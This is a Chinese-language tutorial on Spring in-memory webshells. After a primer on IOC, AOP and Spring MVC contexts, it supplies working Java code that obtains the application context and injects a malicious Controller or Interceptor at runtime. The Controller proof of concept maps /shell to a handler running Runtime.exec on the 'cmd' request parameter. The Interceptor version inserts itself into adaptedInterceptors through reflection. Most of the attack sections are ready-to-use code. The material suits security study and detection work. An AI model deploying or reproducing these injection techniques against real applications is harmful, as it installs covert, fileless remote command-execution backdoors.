Spring内存🐎
在学习Spring内存马之前,作者打算好好恶补一下开发的基本知识,也算是给之前偷懒的自己补课吧
【狂神说Java】JavaWeb入门到实战_哔哩哔哩_bilibili
【狂神说Java】SpringBoot最新教程IDEA版通俗易懂_哔哩哔哩_bilibili
Spring介绍
Spring是一个轻量级的Java开源框架,用于配置、管理和维护Bean(组件)的一种框架,其核心理念就是IOC(Inversion of Control,控制反转) 和 AOP(AspectOrientedProgramming, 面向切面编程)。
重点讲解一下核心内容
IOC
IOC的中文翻译为:控制反转
核心理念是:把对象的创建和管理权交给框架,而不是程序员手动去创建
例如:
不用IOC
UserService userService = new UserServiceImpl(); // 程序员自己new对象
使用IOC
使用这个注解,我们的框架会在运行的时候自动进行创建
@Autowired
UserService userService; // 交给 Spring 容器来注入,不用自己new
AOP
AOP(Aspect-Oriented Programming)是一种通过预定义的切点(Pointcut)和通知(Advice)将横切关注点(Cross-Cutting Concerns)模块化的编程范式。它允许开发者将与业务逻辑无关但对多个模块都很重要的功能(如日志记录、事务管理、安全控制等)从核心业务逻辑中分离出来,从而提高系统的模块化、可维护性和可重用性
通俗一点来说,就是 AOP 是一种让你把“每个地方都要写的重复逻辑”(比如日志、安全)集中写一遍,然后自动织入方法执行过程中的技术。
SpringMVC

客户端发送Request,DispatcherServlet(等同于Controller控制器),控制器接收到请求,来到HandlerMapping(在配置文件中配置),HandlerMapping会对URL进行解析,并判断当前URL该交给哪个Controller来处理,找到对应的Controller之后,Controller就跟Server、JavaBean进行交互,得到某一个值,并返回一个视图(ModelAndView过程),Dispathcher通过ViewResolver视图解析器,找到ModelAndView对象指定的视图对象,最后,视图对象负责渲染返回给客户端。 SpringMVC 的核心点就是 DispatchServlet
ApplicationContext
Spring 框架中,BeanFactory
接口是 Spring
IoC容器 的实际代表者
Spring容器就是ApplicationContext,它是一个接口继承于BeanFactory,有很多实现类。获得了ApplicationContext的实例,就获得了IoC容器的引用。我们可以从ApplicationContext中可以根据Bean的ID获取Bean。

因此,org.springframework.context.ApplicationContext
接口也代表了 IoC容器
,它负责实例化、定位、配置应用程序中的对象(bean
)及建立这些对象间(beans
)的依赖。
DispatchServlet是SpringMVC中的前端控制器,处理所有请求的核心组件,而它创建的是一个Child Context,是一个独立的IOC容器(web层使用)
还有一个是Root ApplicationContext,它是全局的,责管理项目中非 Web 层的 Bean ,由 ContextLoaderListener 在项目启动时创建,负责加载和管理所有非 Web 层 Bean, 保存到 ServletContext 中供后续子容器共享。
所有的 child 可以取访问 Root 容器,但是 Root 却不能去访问 Child 中的内容
当然 是所有的context(不仅仅是Root) 的信息都是会存在ServletContext中的
Controller型内存马
在 Spring 中,当我们静态注册一个 Controller 时,确实会指定一个类的某个方法处理特定路由;当请求到达这个路由时,Spring 会自动调用这个方法。这是 Spring MVC 的核心功能之一
那么动态注册的时候也是一样的道理,只不过是由Spring自动完成,变成了我们手动去注册,当我们动态注册了一个恶意的controller,当我们访问指定路由的时候,就可以自动调用恶意方法,进行命令执行
那么现在就是来看怎么进行动态注册恶意的controller
思路:
获取当前上下文
注册恶意Controller
配置路径映射(其实在动态注册Controller的时候,就会进行映射器的配置)
获取上下文
一共有四种方法可以获取到上下文:
getCurrentWebApplicationContext
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
getCurrentWebApplicationContext 获得的是一个 XmlWebApplicationContext 实例类型的 Root WebApplicationContext
WebApplicationContextUtils
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
通过这种方法获得的也是一个 Root WebApplicationContext
。其中 WebApplicationContextUtils.getWebApplicationContext
函数也可以用 WebApplicationContextUtils.getRequiredWebApplicationContext
来替换。
RequestContextUtils
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
通过 ServletRequest
类的实例来获得 Child WebApplicationContext
。
getAttribute
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
这种方式与前几种的思路就不太一样了,因为所有的Context在创建后,都会被作为一个属性添加到了ServletContext中。所以通过直接获得ServletContext通过属性Context拿到 Child WebApplicationContext
注册恶意Controller
我们要想对Spring Controller 的动态注册,就是对 RequestMappingHandlerMapping注入的过程。
RequestMappingHandlerMapping是springMVC里面的核心Bean,spring把我们的controller解析成RequestMappingInfo对象,然后再注册进RequestMappingHandlerMapping中,这样请求进来以后就可以根据请求地址调用到Controller类里面了。
RequestMappingHandlerMapping对象本身是spring来管理的,可以通过ApplicationContext取到,所以并不需要我们新建
而在SpringMVC框架下,会有两个ApplicationContext,
一个是Spring IOC的上下文,这个是在java web框架的Listener里面配置,就是我们经常用的web.xml里面的org.springframework.web.context.ContextLoaderListener,由它来完成IOC容器的初始化和bean对象的注入。
另外一个是ApplicationContext是由org.springframework.web.servlet.DispatcherServlet完成的,具体是在org.springframework.web.servlet.FrameworkServlet#initWebApplicationContext()这个方法做的。而这个过程里面会完成RequestMappingHandlerMapping这个对象的初始化。
映射器: 它负责维护 URL 路径(或其他条件)到处理器(如 Controller 方法)的映射关系。
Spring 2.5 开始到 Spring 3.1 之前一般使用
org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping
映射器 ;
Spring 3.1 开始及以后一般开始使用新的
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping
映射器来支持@Contoller和@RequestMapping注解。
registerMapping
在Spring 4.0及以后,可以使用registerMapping直接注册requestMapping

在刚刚其实也说了 spring会把controller解析为RequestMappingInfo对象,然后在注册进RequestMappingHandlerMapping,所以我们可以看到在registerMapping方法中的参数,也是RequestMappingInfo类 所以在注册之前我们还需要看一下RequestMappingInfo类
可以看到 构造方法是有非常多的参数的,但是有用的其实就两个 一共是
private RequestMappingInfo(@Nullable String name, @Nullable PathPatternsRequestCondition pathPatternsCondition, @Nullable PatternsRequestCondition patternsCondition, RequestMethodsRequestCondition methodsCondition, ParamsRequestCondition paramsCondition, HeadersRequestCondition headersCondition, ConsumesRequestCondition consumesCondition, ProducesRequestCondition producesCondition, RequestConditionHolder customCondition, BuilderConfiguration options) {
Assert.isTrue(pathPatternsCondition != null || patternsCondition != null, "Neither PathPatterns nor String patterns condition");
this.name = StringUtils.hasText(name) ? name : null;
this.pathPatternsCondition = pathPatternsCondition;
this.patternsCondition = patternsCondition;
this.methodsCondition = methodsCondition;
this.paramsCondition = paramsCondition;
this.headersCondition = headersCondition;
this.consumesCondition = consumesCondition;
this.producesCondition = producesCondition;
this.customConditionHolder = customCondition;
this.options = options;
this.hashCode = calculateHashCode(this.pathPatternsCondition, this.patternsCondition, this.methodsCondition, this.paramsCondition, this.headersCondition, this.consumesCondition, this.producesCondition, this.customConditionHolder);
}
一个是指定controller的路径,也就是我们说的路由(设置好映射关系)
另外一个是指定请求方式,设置为不限制就好
registerMapping方法中的第二个参数,其实也就是我们对应的恶意类 第三个参数就是对应的恶意方法
其实很好理解,RequestMappingInfo类指定我们恶意类的映射关系,使我们访问对应的路由时,就会对应一个类,而在MVC架构中,我们访问一个路由时,会自动调用一个方法的,那么这个方法,就是在这里进行指定的
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = 恶意类的字节码.getDeclaredMethods())[0];
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, Class.forName("恶意Controller").newInstance(), method);
registerHandler
(版本古老,暂且就不复现了(:)
参考上面的 HandlerMapping 接口继承关系图,针对使用 DefaultAnnotationHandlerMapping 映射器的应用,可以找到它继承的顶层类org.springframework.web.servlet.handler.AbstractUrlHandlerMapping
在其registerHandler()方法中
该方法接受 urlPath参数和 handler参数,可以在 this.getApplicationContext() 获得的上下文环境中寻找名字为 handler 参数值的 bean, 将 url 和 controller 实例 bean 注册到 handlerMap 中
// 1. 在当前上下文环境中注册一个名为 dynamicController 的 Webshell controller 实例 bean context.getBeanFactory().registerSingleton("dynamicController", Class.forName("me.landgrey.SSOLogin").newInstance()); // 2. 从当前上下文环境中获得 DefaultAnnotationHandlerMapping 的实例 bean org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping dh = context.getBean(org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.class); // 3. 反射获得 registerHandler Method java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class); m1.setAccessible(true); // 4. 将 dynamicController 和 URL 注册到 handlerMap 中 m1.invoke(dh, "/favicon", "dynamicController");
detectHandlerMethods
参考上面的 HandlerMapping 接口继承关系图,针对使用 RequestMappingHandlerMapping 映射器的应用,可以找到它继承的顶层类org.springframework.web.servlet.handler.AbstractHandlerMethodMapping
在其detectHandlerMethods() 方法中
protected void detectHandlerMethods(Object handler) { Class<?> handlerType = handler instanceof String ? this.getApplicationContext().getType((String)handler) : handler.getClass(); final Class<?> userType = ClassUtils.getUserClass(handlerType); Set<Method> methods = HandlerMethodSelector.selectMethods(userType, new MethodFilter() { public boolean matches(Method method) { return AbstractHandlerMethodMapping.this.getMappingForMethod(method, userType) != null; } }); Iterator var6 = methods.iterator(); while(var6.hasNext()) { Method method = (Method)var6.next(); T mapping = this.getMappingForMethod(method, userType); this.registerHandlerMethod(handler, method, mapping); } }
该方法仅接受handler参数,同样可以在 this.getApplicationContext() 获得的上下文环境中寻找名字为 handler 参数值的 bean, 并注册 controller 的实例 bean
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("恶意Controller").newInstance()); org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class); java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class); m1.setAccessible(true); m1.invoke(requestMappingHandlerMapping, "dynamicController");
POC
我这里就用springboot 2.5.6版本进行复现了
思路还是很简单的:
先获取当前的上下文,然后获取RequestMappingHandlerMapping 的实例,然后在反射获取我们写好的恶意类的恶意方法,然后获取并且设置我们想要把恶意类映射到的路径,和请求方法,设置到RequestMappingInfo类中,然后在调用RequestMappingHandlerMapping中的registerMapping方法,完成动态注入
package org.example.spring.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Method;
@RestController
public class shell_controller {
@RequestMapping("/exec")
public void Spring_Controller() throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException {
//获取当前上下文环境
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
//手动注册Controller
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = Shell.class.getDeclaredMethod("shell");
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, new Shell(), method);
}
@ResponseBody
public class Shell{
public Shell(){}
public void shell() throws IOException {
//获取request
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
Runtime.getRuntime().exec(request.getParameter("cmd"));
}
}
}

这里有个问题,在springboot版本大于2.6.0的时候会出现一个报错导致命令执行失败
解决办法参考:Spring内存马
Interceptor型内存马
什么是Interceptor
Spring MVC 的拦截器(Interceptor)与 Java Servlet 的过滤器(Filter)类似,它主要用于拦截用户的请求并做相应的处理,通常应用在权限验证、记录请求信息的日志、判断用户是否登录等功能上。在 Spring MVC 框架中定义一个拦截器需要对拦截器进行定义和配置,主要有以下 2 种方式。
通过实现 HandlerInterceptor 接口或继承 HandlerInterceptor 接口的实现类(例如 HandlerInterceptorAdapter)来定义
通过实现 WebRequestInterceptor 接口或继承 WebRequestInterceptor 接口的实现类来定义
Interceptor示例
在springboot下写了:
WebConfig
package org.example.spring.Config;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.*;
@Configuration
public class WebConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(new org.example.spring.Interceptor.MyInterceptor())
.addPathPatterns("/**") // 拦截所有路径
.excludePathPatterns("/login"); // 排除登录路径
}
}
TestController
package org.example.spring.Controller;
import org.springframework.web.bind.annotation.*;
@RestController
public class TestController {
@GetMapping("/hello")
public String hello() {
return "Hello, world!";
}
@GetMapping("/login")
public String login() {
return "Login page (not intercepted)";
}
}
MyInterceptor
package org.example.spring.Interceptor;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.web.servlet.HandlerInterceptor;
public class MyInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request,
HttpServletResponse response,
Object handler) throws Exception {
System.out.println("进入拦截器:MyInterceptor -> preHandle");
// 返回 true 继续执行,false 则终止请求链
return false;
}
}

效果就跟Filter差不多,当访问的路由不是login,就会进入拦截器 如果返回true就继续执行,如果返回为false就中断这次原来对应的处理方法
断点下在ApplicationFilterChain#internalDoFilter,可以看到和我们之前学的Tomcat很像,但与Tomcat不同的是,当调用到HttpServlet#service时,最终会调用DispatcherServlet#doDispatch进行逻辑处理,这正是Spring的逻辑处理核心类。

我们就直接来看核心类

跟进getHandler方法:
使用增强for语句 遍历handlerMappings来获取HandlerMapping类型的对象
protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
if (this.handlerMappings != null) {
for(HandlerMapping mapping : this.handlerMappings) {
HandlerExecutionChain handler = mapping.getHandler(request);
if (handler != null) {
return handler;
}
}
}
return null;
}
实际上还会调用org.springframework.web.servlet.handler.AbstractHandlerMapping 类的 getHandler 方法
public final HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
Object handler = this.getHandlerInternal(request);
if (handler == null) {
handler = this.getDefaultHandler();
}
if (handler == null) {
return null;
} else {
if (handler instanceof String) {
String handlerName = (String)handler;
handler = this.obtainApplicationContext().getBean(handlerName);
}
if (!ServletRequestPathUtils.hasCachedPath(request)) {
this.initLookupPath(request);
}
HandlerExecutionChain executionChain = this.getHandlerExecutionChain(handler, request);
if (this.logger.isTraceEnabled()) {
this.logger.trace("Mapped to " + handler);
} else if (this.logger.isDebugEnabled() && !DispatcherType.ASYNC.equals(request.getDispatcherType())) {
this.logger.debug("Mapped to " + executionChain.getHandler());
}
if (this.hasCorsConfigurationSource(handler) || CorsUtils.isPreFlightRequest(request)) {
CorsConfiguration config = this.getCorsConfiguration(handler, request);
if (this.getCorsConfigurationSource() != null) {
CorsConfiguration globalConfig = this.getCorsConfigurationSource().getCorsConfiguration(request);
config = globalConfig != null ? globalConfig.combine(config) : config;
}
if (config != null) {
config.validateAllowCredentials();
}
executionChain = this.getCorsHandlerExecutionChain(request, executionChain, config);
}
return executionChain;
}
}
跟进getHandlerExecutionChain方法:
通过遍历adaptedInterceptors 获取到所有的HandlerInterceptor
protected HandlerExecutionChain getHandlerExecutionChain(Object handler, HttpServletRequest request) {
HandlerExecutionChain chain = handler instanceof HandlerExecutionChain ? (HandlerExecutionChain)handler : new HandlerExecutionChain(handler);
for(HandlerInterceptor interceptor : this.adaptedInterceptors) {
if (interceptor instanceof MappedInterceptor) {
MappedInterceptor mappedInterceptor = (MappedInterceptor)interceptor;
if (mappedInterceptor.matches(request)) {
chain.addInterceptor(mappedInterceptor.getInterceptor());
}
} else {
chain.addInterceptor(interceptor);
}
}
return chain;
}
找到了我们自定义的interceptor

然后在通过chain.addInterceptor 把所有的interceptor添加到HandlerExecutionChain中,然后就结束了,回到
一开始的DispatcherServlet#doDispatch()中,调用mappedHandler.applyPreHandle方法

然后遍历调用Interceptor中的preHandle()拦截方法
实现思路
获取上下文
实现一个恶意Interceptor类
动态注册进内存
获取上下文
获取上下文和Controller思路是一样的
同时,我们通过刚刚的调试可以知道,Interceptor类的信息是存储在adaptedInterceptors中的,所以我们需要反射获取到这个属性并且把恶意类添加进去

所以我们可以通过获取上下文来 获取到这个对象(Bean)的adaptedInterceptors属性
实现恶意Interceptor类
我们需要实现HandlerInterceptor类,重写preHandle方法
public class MyInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request,
HttpServletResponse response,
Object handler) throws Exception {
Runtime.getRuntime().exec("calc");
// 返回 true 继续执行,false 则终止请求链
return false;
}
}
动态注入
adaptedInterceptors其实是一个数组,我们直接用add方法添加我们的恶意类就行,这里要注意的是我们
实际上获取到的是它的实现类org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping
所以是不能直接通过他来反射获取字段
AbstractHandlerMapping handlerMapping = (AbstractHandlerMapping) context.getBean(AbstractHandlerMapping.class);
POC
package org.example.spring.Controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.ArrayList;
@Controller
public class shellInterceptor {
@RequestMapping("/shell")
public void shell() throws Exception {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
AbstractHandlerMapping handlerMapping = (AbstractHandlerMapping) context.getBean(AbstractHandlerMapping.class);
System.out.println(handlerMapping.getClass().getName());
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
ArrayList list = (ArrayList) field.get(handlerMapping);
list.add(new shell_Interceptor());
}
public class shell_Interceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request,
HttpServletResponse response,
Object handler) throws Exception {
Runtime.getRuntime().exec("calc");
// 返回 true 继续执行,false 则终止请求链
return false;
}
}
}